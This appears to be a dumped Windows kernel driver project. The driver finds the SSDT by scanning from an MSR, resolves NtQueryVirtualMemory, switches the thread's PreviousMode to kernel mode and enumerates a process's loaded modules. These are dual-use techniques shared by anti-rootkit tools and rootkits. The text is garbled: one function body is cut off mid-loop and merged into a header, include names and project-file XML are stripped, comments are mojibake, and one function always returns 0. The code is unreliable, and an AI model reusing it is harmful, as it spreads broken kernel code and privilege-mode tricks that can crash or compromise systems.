NTAPI\n ZwQueryDirectoryObject (\n __in HANDLE DirectoryHandle,\n __out_bcount_opt(Length) PVOID Buffer,\n __in ULONG Length,\n __in BOOLEAN ReturnSingleEntry,\n __in BOOLEAN RestartScan,\n __inout PULONG Context,\n __out_opt PULONG ReturnLength\n );\n\ntypedef struct _OBJECT_DIRECTORY_INFORMATION\n{\n UNICODE_STRING Name;\n UNICODE_STRING TypeName;\n} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;\n\n\nULONG\n NtQueryDosDevice(WCHAR* wzDosDevice,WCHAR* wzNtDevice,\n ULONG ucchMax);\n\n\n" }, { "path": "ZwQueryVirtualMemory/GetSSDTFuncAddress.c", "content": "#include \"GetSSDTFuncAddress.h\"\r\n#include \"Common.h\"\r\n\r\nULONG_PTR IndexOffset = 0;\r\nextern WIN_VERSION WinVersion;\r\n\r\nULONG_PTR GetFuncAddress(char* szFuncName)\r\n{\r\n ULONG_PTR SSDTDescriptor = 0;\r\n ULONG_PTR ulIndex = 0;\r\n ULONG_PTR SSDTFuncAddress = 0;\r\n\r\n WinVersion = GetWindowsVersion();\r\n\r\n switch(WinVersion)\r\n {\r\n#ifdef _WIN64\r\n case WINDOWS_7_7601:\r\n {\r\n SSDTDescriptor = GetKeServiceDescriptorTable64();\r\n IndexOffset = 4;\r\n break;\r\n }\r\n#else\r\n case WINDOWS_XP:\r\n {\r\n SSDTDescriptor = (ULONG_PTR)GetFunctionAddressByName(L\"KeServiceDescriptorTable\");\r\n IndexOffset = 1;\r\n break;\r\n }\r\n#endif\r\n default:\r\n return 0;\r\n }\r\n\r\n ulIndex = GetSSDTApiFunIndex(szFuncName);\r\n SSDTFuncAddress = GetSSDTApiFunAddress(ulIndex,SSDTDescriptor);\r\n return SSDTFuncAddress;\r\n}\r\n\r\n\r\n\r\nULONG_PTR GetSSDTApiFunAddress(ULONG_PTR ulIndex,ULONG_PTR SSDTDescriptor)\r\n{\r\n ULONG_PTR SSDTFuncAddress = 0;\r\n switch(WinVersion)\r\n {\r\n#ifdef _WIN64\r\n case WINDOWS_7_7601:\r\n {\r\n SSDTFuncAddress = GetSSDTFunctionAddress64(ulIndex,SSDTDescriptor);\r\n break;\r\n }\r\n#else\r\n case WINDOWS_XP:\r\n {\r\n SSDTFuncAddress = GetSSDTFunctionAddress32(ulIndex,SSDTDescriptor);\r\n break;\r\n }\r\n#endif\r\n default: \r\n return 0;\r\n }\r\n\r\n return 0;\r\n}\r\n\r\n\r\nULONG_PTR GetSSDTFunctionAddress32(ULONG_PTR ulIndex,ULONG_PTR SSDTDescriptor)\r\n{\r\n ULONG_PTR ServiceTableBase= 0 ;\r\n PSYSTEM_SERVICE_TABLE32 SSDT = (PSYSTEM_SERVICE_TABLE32)SSDTDescriptor;\r\n\r\n ServiceTableBase=(ULONG_PTR)(SSDT ->ServiceTableBase);\r\n\r\n return (ULONG_PTR)(((ULONG*)ServiceTableBase)[(ULONG)ulIndex]);\r\n}\r\n\r\n\r\n\r\nULONG_PTR GetSSDTFunctionAddress64(ULONG_PTR ulIndex,ULONG_PTR SSDTDescriptor)\r\n{\r\n LONG dwTemp=0;\r\n ULONG_PTR qwTemp=0;\r\n ULONG_PTR ServiceTableBase= 0 ;\r\n ULONG_PTR FuncAddress =0;\r\n PSYSTEM_SERVICE_TABLE64 SSDT = (PSYSTEM_SERVICE_TABLE64)SSDTDescriptor;\r\n ServiceTableBase=(ULONG_PTR)(SSDT ->ServiceTableBase);\r\n qwTemp = ServiceTableBase + 4 * ulIndex;\r\n dwTemp = *(PLONG)qwTemp;\r\n dwTemp = dwTemp>>4;\r\n FuncAddress = ServiceTableBase + (ULONG_PTR)dwTemp;\r\n return FuncAddress;\r\n}\r\n\r\n\r\nLONG GetSSDTApiFunIndex(IN LPSTR lpszFunName)\r\n{\r\n LONG Index = -1;\r\n NTSTATUS Status = STATUS_UNSUCCESSFUL;\r\n PVOID MapBase = NULL;\r\n PIMAGE_NT_HEADERS NtHeader;\r\n PIMAGE_EXPORT_DIRECTORY ExportTable;\r\n ULONG* FunctionAddresses;\r\n ULONG* FunctionNames;\r\n USHORT* FunIndexs;\r\n ULONG ulFunIndex;\r\n ULONG i;\r\n CHAR* FunName;\r\n SIZE_T ViewSize=0;\r\n ULONG_PTR FunAddress;\r\n WCHAR wzNtdll[] = L\"\\\\SystemRoot\\\\System32\\\\ntdll.dll\";\r\n\r\n Status = MapFileInUserSpace(wzNtdll, NtCurrentProcess(), &MapBase, &ViewSize);\r\n if (!NT_SUCCESS(Status))\r\n {\r\n return STATUS_UNSUCCESSFUL;\r\n }\r\n else\r\n {\r\n __try{\r\n NtHeader = RtlImageNtHeader(MapBase);\r\n if (NtHeader && NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress){\r\n ExportTable =(IMAGE_EXPORT_DIRECTORY *)((ULONG_PTR)MapBase + NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);\r\n FunctionAddresses = (ULONG*)((ULONG_PTR)MapBase + ExportTable->AddressOfFunctions);\r\n FunctionNames = (ULONG*)((ULONG_PTR)MapBase + ExportTable->AddressOfNames);\r\n FunIndexs = (USHORT*)((ULONG_PTR)MapBase + ExportTable->AddressOfNameOrdinals);\r\n for(i = 0; i < ExportTable->NumberOfNames; i++)\r\n {\r\n FunName = (LPSTR)((ULONG_PTR)MapBase + FunctionNames[i]);\r\n if (_stricmp(FunName, lpszFunName) == 0) \r\n {\r\n ulFunIndex = FunIndexs[i]; \r\n FunAddress = (ULONG_PTR)((ULONG_PTR)MapBase + FunctionAddresses[ulFunIndex]);\r\n Index=*(ULONG*)(FunAddress+IndexOffset);\r\n break;\r\n }\r\n }\r\n }\r\n }__except(EXCEPTION_EXECUTE_HANDLER)\r\n {\r\n }\r\n }\r\n\r\n if (Index == -1)\r\n {\r\n DbgPrint(\"%s Get Index Error\\n\", lpszFunName);\r\n }\r\n\r\n ZwUnmapViewOfSection(NtCurrentProcess(), MapBase);\r\n return Index;\r\n}\r\n\r\n\r\n\r\n\r\nULONG_PTR GetKeServiceDescriptorTable64()\r\n{\r\n PUCHAR StartSearchAddress = (PUCHAR)__readmsr(0xC0000082);\r\n PUCHAR EndSearchAddress = StartSearchAddress + 0x500;\r\n PUCHAR i = NULL;\r\n UCHAR b1=0,b2=0,b3=0;\r\n ULONG_PTR Temp = 0;\r\n ULONG_PTR Address = 0;\r\n for(i=StartSearchAddress;i\r\n\r\n#define MEM_IMAGE SEC_IMAGE\r\n#define SEC_IMAGE 0x01000000\r\n\r\ntypedef struct _SYSTEM_SERVICE_TABLE64{\r\n PVOID ServiceTableBase; \r\n PVOID ServiceCounterTableBase; \r\n ULONG64 NumberOfServices; \r\n PVOID ParamTableBase; \r\n} SYSTEM_SERVICE_TABLE64, *PSYSTEM_SERVICE_TABLE64;\r\n\r\ntypedef struct _SYSTEM_SERVICE_TABLE32 {\r\n PVOID ServiceTableBase;\r\n PVOID ServiceCounterTableBase;\r\n ULONG32 NumberOfServices;\r\n PVOID ParamTableBase;\r\n} SYSTEM_SERVICE_TABLE32, *PSYSTEM_SERVICE_TABLE32;\r\n\r\nNTSYSAPI\r\n PIMAGE_NT_HEADERS\r\n NTAPI\r\n RtlImageNtHeader(PVOID Base);\r\n\r\nULONG_PTR GetFuncAddress(char* szFuncName);\r\n\r\nLONG GetSSDTApiFunIndex(IN LPSTR lpszFunName);\r\n\r\nNTSTATUS \r\n MapFileInUserSpace(IN LPWSTR lpszFileName,IN HANDLE ProcessHandle OPTIONAL,\r\n OUT PVOID *BaseAddress,\r\n OUT PSIZE_T ViewSize OPTIONAL);\r\n\r\nULONG_PTR GetSSDTApiFunAddress(ULONG_PTR ulIndex,ULONG_PTR SSDTDescriptor);\r\n\r\nULONG_PTR GetSSDTFunctionAddress32(ULONG_PTR ulIndex,ULONG_PTR SSDTDescriptor);\r\nULONG_PTR GetSSDTFunctionAddress64(ULONG_PTR ulIndex,ULONG_PTR SSDTDescriptor);\r\nULONG_PTR GetKeServiceDescriptorTable64();\r\n\r\n\r\n\r\n" }, { "path": "ZwQueryVirtualMemory/ReadMe.txt", "content": "Enum Module By NtQueryVirtualMemory\n" }, { "path": "ZwQueryVirtualMemory/ZwQueryVirtualMemory.c", "content": "/***************************************************************************************\r\n* AUTHOR : MZ\r\n* DATE : 2016-3-18\r\n* MODULE : ZwQueryVirtualMemory.C\r\n* \r\n* Command: \r\n* Source of IOCTRL Sample Driver\r\n*\r\n* Description:\r\n* Demonstrates communications between USER and KERNEL.\r\n*\r\n****************************************************************************************\r\n* Copyright (C) 2010 MZ.\r\n****************************************************************************************/\r\n\r\n//#######################################################################################\r\n//# I N C L U D E S\r\n//#######################################################################################\r\n\r\n#ifndef CXX_ZWQUERYVIRTUALMEMORY_H\r\n# include \"ZwQueryVirtualMemory.h\"\r\n#include \"Common.h\"\r\n#include \"GetSSDTFuncAddress.h\"\r\n#endif\r\n\r\n\r\nextern ULONG_PTR ObjectTableOffsetOf_EPROCESS;\r\nextern ULONG_PTR PreviousModeOffsetOf_KTHREAD;\r\nextern ULONG_PTR IndexOffsetOfFunction;\r\n\r\nextern ULONG_PTR ObjectHeaderSize;\r\nextern ULONG_PTR ObjectTypeOffsetOf_OBJECT_HEADER;\r\nextern ULONG_PTR HighUserAddress;\r\n\r\nextern WIN_VERSION WinVersion;\r\nextern ULONG_PTR LdrInPebOffset;\r\nextern ULONG_PTR ModListInLdrOffset;\r\n\r\nextern ULONG_PTR HighUserAddress;\r\n\r\npfnNtQueryVirtualMemory NtQueryVirtualMemoryAddress = NULL;\r\n\r\nNTSTATUS\r\nDriverEntry(IN PDRIVER_OBJECT pDriverObj, IN PUNICODE_STRING pRegistryString)\r\n{\r\n NTSTATUS status = STATUS_SUCCESS;\r\n UNICODE_STRING ustrLinkName;\r\n UNICODE_STRING ustrDevName; \r\n PDEVICE_OBJECT pDevObj;\r\n PEPROCESS Process = NULL;\r\n HANDLE Id = NULL;\r\n\r\n WinVersion = GetWindowsVersion();\r\n InitGlobalVariable();\r\n NtQueryVirtualMemoryAddress = (pfnNtQueryVirtualMemory)GetFuncAddress(\"NtQueryVirtualMemory\");\r\n\r\n Process = PsGetCurrentProcess();\r\n Id = PsGetProcessId(Process);\r\n EnumMoudleByNtQueryVirtualMemory((ULONG)Id);\r\n pDriverObj->DriverUnload = DriverUnload;\r\n\r\n return STATUS_SUCCESS;\r\n}\r\n\r\nVOID\r\nDriverUnload(IN PDRIVER_OBJECT pDriverObj)\r\n{ \r\n return;\r\n}\r\n\r\n\r\nNTSTATUS EnumMoudleByNtQueryVirtualMemory(ULONG ProcessId)\r\n{\r\n NTSTATUS Status;\r\n PEPROCESS Process = NULL;\r\n HANDLE hProcess = NULL;\r\n SIZE_T ulRet = 0;\r\n WCHAR DosPath[260] = {0};\r\n\r\n if (ProcessId)\r\n {\r\n Status = PsLookupProcessByProcessId((HANDLE)ProcessId, &Process);\r\n if (!NT_SUCCESS(Status))\r\n {\r\n return Status;\r\n } \r\n }\r\n if (IsRealProcess(Process)) //жǷΪʬֻ̣ж˶ͺ;Ƿ\r\n {\r\n ObfDereferenceObject(Process);\r\n Status = ObOpenObjectByPointer(Process, \r\n OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, \r\n NULL, \r\n GENERIC_ALL, \r\n *PsProcessType, \r\n KernelMode, \r\n &hProcess\r\n );\r\n if (NT_SUCCESS(Status))\r\n {\r\n ULONG_PTR ulBase = 0;\r\n //ıPreviousMode\r\n PETHREAD EThread = PsGetCurrentThread();\r\n CHAR PreMode = ChangePreMode(EThread); //KernelMode\r\n do \r\n {\r\n MEMORY_BASIC_INFORMATION mbi = {0};\r\n Status = NtQueryVirtualMemoryAddress(hProcess, \r\n (PVOID)ulBase, \r\n MemoryBasicInformation, \r\n &mbi, \r\n sizeof(MEMORY_BASIC_INFORMATION), \r\n &ulRet);\r\n if (NT_SUCCESS(Status))\r\n { \r\n //Image ٲѯSectionName,FileObject Name\r\n if (mbi.Type==MEM_IMAGE)\r\n {\r\n MEMORY_SECTION_NAME msn = {0};\r\n Status = NtQueryVirtualMemoryAddress(hProcess,\r\n (PVOID)ulBase,\r\n MemorySectionName,\r\n &msn,\r\n sizeof(MEMORY_SECTION_NAME),\r\n &ulRet);\r\n if (NT_SUCCESS(Status)) \r\n {\r\n DbgPrint(\"SectionName:%wZ\\r\\n\",&(msn.Name)); \r\n NtPathToDosPathW(msn.Name.Buffer,DosPath);\r\n DbgPrint(\"DosName:%S\\r\\n\",DosPath);\r\n }\r\n }\r\n ulBase += mbi.RegionSize;\r\n }\r\n else ulBase += PAGE_SIZE; \r\n } while (ulBase < (ULONG_PTR)HighUserAddress);\r\n NtClose(hProcess);\r\n RecoverPreMode(EThread,PreMode);\r\n }\r\n }\r\n return Status;\r\n}\r\n\r\n\r\n" }, { "path": "ZwQueryVirtualMemory/ZwQueryVirtualMemory.h", "content": "\r\n#ifndef CXX_ZWQUERYVIRTUALMEMORY_H\r\n#define CXX_ZWQUERYVIRTUALMEMORY_H\r\n\r\n\r\n#include \r\n#include \r\ntypedef unsigned long DWORD;\r\n\r\nNTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObj, IN PUNICODE_STRING pRegistryString);\r\n\r\nVOID DriverUnload(IN PDRIVER_OBJECT pDriverObj);\r\n\r\n\r\ntypedef enum _MEMORY_INFORMATION_CLASS\r\n{\r\n MemoryBasicInformation, //ڴϢ\r\n MemoryWorkingSetList,\r\n MemorySectionName //ڴӳļϢ \r\n}MEMORY_INFORMATION_CLASS;\r\n\r\n\r\ntypedef NTSTATUS\r\n (*pfnNtQueryVirtualMemory)(HANDLE ProcessHandle,PVOID BaseAddress,\r\n MEMORY_INFORMATION_CLASS MemoryInformationClass,\r\n PVOID MemoryInformation,\r\n SIZE_T MemoryInformationLength,\r\n PSIZE_T ReturnLength);\r\n\r\n//MemoryBasicInformation \r\ntypedef struct _MEMORY_BASIC_INFORMATION { \r\n PVOID BaseAddress; //ѯڴռĵһҳַ\r\n PVOID AllocationBase; //ڴռĵһַСڵBaseAddress\r\n DWORD AllocationProtect; //򱻳αʱı\r\n SIZE_T RegionSize; //BaseAddressʼͬԵҳĴС\r\n DWORD State; //ҳ״ֵֿ̬MEM_COMMITMEM_FREEMEM_RESERVE\r\n DWORD Protect; //ҳԣܵȡֵAllocationProtectͬ\r\n DWORD Type; //ڴֵֿͣMEM_IMAGEMEM_MAPPEDMEM_PRIVATE\r\n} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;\r\nNTSTATUS EnumMoudleByNtQueryVirtualMemory(ULONG ProcessId);\r\n//MemorySectionName \r\ntypedef struct _MEMORY_SECTION_NAME { \r\n UNICODE_STRING Name; \r\n WCHAR Buffer[260]; \r\n}MEMORY_SECTION_NAME,*PMEMORY_SECTION_NAME;\r\n\r\n\r\n\r\n#endif" }, { "path": "ZwQueryVirtualMemory/ZwQueryVirtualMemory.sln", "content": "Microsoft Visual Studio Solution File, Format Version 11.00\r\n# Visual Studio 2010\r\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"ZwQueryVirtualMemory\", \"ZwQueryVirtualMemory.vcxproj\", \"{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\"\r\nEndProject\r\nGlobal\r\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\r\n\t\tWinDDK|Win32 = WinDDK|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.ActiveCfg = WinDDK|Win32\r\n\t\t{4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}.WinDDK|Win32.Build.0 = WinDDK|Win32\r\n\tEndGlobalSection\r\n\tGlobalSection(SolutionProperties) = preSolution\r\n\t\tHideSolutionNode = FALSE\r\n\tEndGlobalSection\r\nEndGlobal\r\n" }, { "path": "ZwQueryVirtualMemory/ZwQueryVirtualMemory.vcxproj", "content": "\r\n\r\n \r\n \r\n WinDDK\r\n Win32\r\n \r\n \r\n \r\n {4EE67C57-BE79-4CD7-B3B0-94AECE62DB41}\r\n Win32Proj\r\n \"ZwQueryVirtualMemory\"\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n .sys\r\n false\r\n $(WLHBASE)\\bin\\x86\\x86;$(WLHBASE)\\bin\\x86\r\n $(WLHBASE)\\inc\\api;$(WLHBASE)\\inc\\crt;$(WLHBASE)\\inc\\ddk;$(WLHBASE)\\inc\r\n \r\n $(WLHBASE)\\lib\\win7\\i386\r\n \r\n \r\n \r\n \r\n \r\n _X86_;DBG=1\r\n false\r\n false\r\n StdCall\r\n CompileAsC\r\n \r\n \r\n \r\n \r\n ntoskrnl.lib;hal.lib;wdm.lib;%(AdditionalDependencies)\r\n \r\n \r\n true\r\n Native\r\n Driver\r\n DriverEntry\r\n true\r\n 0x10000\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "ZwQueryVirtualMemory/sources", "content": "TARGETNAME=ZwQueryVirtualMemory\n#TARGETPATH=$(BASEDIR)\\lib\nTARGETPATH=obj\nTARGETTYPE=DRIVER\n\nINCLUDES=.\\\n\nSOURCES= \\\n ZwQueryVirtualMemory.c \\\n GetSSDTFuncAddress.c \\\n Common.c \n\n" } ]